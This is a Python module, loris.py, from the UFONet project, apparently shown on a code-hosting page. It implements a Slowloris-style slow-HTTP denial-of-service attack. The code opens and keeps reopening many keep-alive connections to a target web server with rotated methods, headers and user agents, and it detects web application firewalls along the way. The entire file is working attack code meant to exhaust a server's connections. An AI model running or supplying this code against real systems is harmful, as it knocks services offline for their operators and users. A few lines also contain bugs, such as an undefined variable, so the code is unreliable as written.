loris.py 5.6 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138
  1. #!/usr/bin/env python3
  2. # -*- coding: utf-8 -*-"
  3. """
  4. This file is part of the UFONet project, https://ufonet.03c8.net
  5. Copyright (c) 2013/2020 | psy <epsylon@riseup.net>
  6. You should have received a copy of the GNU General Public License along
  7. with UFONet; if not, write to the Free Software Foundation, Inc., 51
  8. Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
  9. """
  10. import socket, random, ssl, re
  11. try:
  12. from urlparse import urlparse
  13. except:
  14. from urllib.parse import urlparse
  15. # UFONet Slow HTTP requests (LORIS) + [AI] WAF Detection
  16. def setupSocket(self, ip):
  17. method = random.choice(self.methods)
  18. port = 80
  19. if ip.startswith('http://'):
  20. ip = ip.replace('http://','')
  21. port = 80
  22. elif ip.startswith('https://'):
  23. ip = ip.replace('https://','')
  24. port = 443
  25. self.user_agent = random.choice(self.agents).strip()
  26. sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  27. sock.settimeout(10)
  28. if port == 443:
  29. sock = ssl.wrap_socket(sock, keyfile=None, certfile=None, server_side=False, cert_reqs=ssl.CERT_NONE, ssl_version=ssl.PROTOCOL_TLSv1)
  30. sock.connect((ip, port))
  31. if method == "GET":
  32. http_req = "GET / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
  33. elif method == "POST":
  34. http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n"
  35. else:
  36. http_req = "POST / HTTP/1.1\r\nHost: "+str(ip)+"\r\nX-HTTP-Method: PUT\r\nUser-Agent: "+str(self.user_agent)+"\r\nConnection: keep-alive\r\nCache-Control: no-cache\r\n\r\n" # "Verb Tunneling Abuse" -> [RFC2616]
  37. sock.sendall(http_req.encode('utf-8'))
  38. resp = sock.recv(1280).split("\n".encode('utf-8'))
  39. for l in resp:
  40. if "Location:".encode('utf-8') in l:
  41. try:
  42. ip = re.findall('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', l)[0] # extract new redirect url
  43. try:
  44. ip = socket.gethostbyname(ip)
  45. except:
  46. try:
  47. import dns.resolver
  48. r = dns.resolver.Resolver()
  49. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  50. url = urlparse(ip)
  51. a = r.query(url.netloc, "A") # A record
  52. for rd in a:
  53. ip = str(rd)
  54. except:
  55. ip = target
  56. except:
  57. pass
  58. else:
  59. self.wafs_file = "core/txt/wafs.txt" # set source path to retrieve 'wafs'
  60. try:
  61. f = open(self.wafs_file)
  62. wafs = f.readlines()
  63. f.close()
  64. except:
  65. wafs = "broken!"
  66. sep = "##"
  67. for w in wafs:
  68. if sep in w:
  69. w = w.split(sep)
  70. signature = w[0] # signature
  71. t = w[1] # vendor
  72. if signature in l.decode('utf-8'):
  73. print("[Info] [AI] [Control] FIREWALL DETECTED!! -> [" , str(t.split("\n")[0]) , "]")
  74. self.warn_flag = True
  75. return
  76. return sock, ip
  77. def tractor(self, ip, requests):
  78. n=0
  79. try:
  80. for i in range(requests):
  81. n=n+1
  82. try:
  83. sock, ip = setupSocket(self, ip)
  84. print("[Info] [AI] [LORIS] Firing 'tractor beam' ["+str(n)+"] -> [CONNECTED!]")
  85. except:
  86. print("[Error] [AI] [LORIS] Failed to engage with 'tractor beam' ["+str(n)+"]")
  87. self.sockets.append(sock)
  88. while True: # try to abuse HTTP Headers
  89. for sock in list(self.sockets):
  90. try:
  91. sock, ip = setupSocket(self, ip)
  92. except socket.error:
  93. self.sockets.remove(sock)
  94. for i in range(requests - len(self.sockets)):
  95. print("[Info] [AI] [LORIS] Re-opening closed 'tractor beam' -> [RE-LINKED!]")
  96. sock, ip = setupSocket(self, ip)
  97. if sock:
  98. self.sockets.append(sock)
  99. except:
  100. if self.warn_flag == False:
  101. print("[Error] [AI] [LORIS] Failing to engage... -> Is still target online? -> [Checking!]")
  102. else:
  103. print("[Info] [AI] [LORIS] The attack may not be effective due to the presence of a [FIREWALL] that blocks persistent connections -> [ABORTING!]")
  104. class LORIS(object):
  105. def __init__(self):
  106. self.warn_flag = False
  107. self.sockets = []
  108. self.agents_file = 'core/txt/user-agents.txt' # set source path to retrieve user-agents
  109. self.agents = []
  110. f = open(self.agents_file)
  111. agents = f.readlines()
  112. f.close()
  113. for agent in agents:
  114. self.agents.append(agent)
  115. self.methods = ['GET', 'POST', 'X-METHOD'] # supported HTTP requests methods
  116. def attacking(self, target, requests):
  117. print("[Info] [AI] Slow HTTP requests (LORIS) is ready to fire: [" , requests, "tractor beams ]")
  118. try:
  119. ip = socket.gethostbyname(target)
  120. except:
  121. try:
  122. import dns.resolver
  123. r = dns.resolver.Resolver()
  124. r.nameservers = ['8.8.8.8', '8.8.4.4'] # google DNS resolvers
  125. url = urlparse(target)
  126. a = r.query(url.netloc, "A") # A record
  127. for rd in a:
  128. ip = str(rd)
  129. except:
  130. ip = target
  131. tractor(self, ip, requests) # attack with LORIS using threading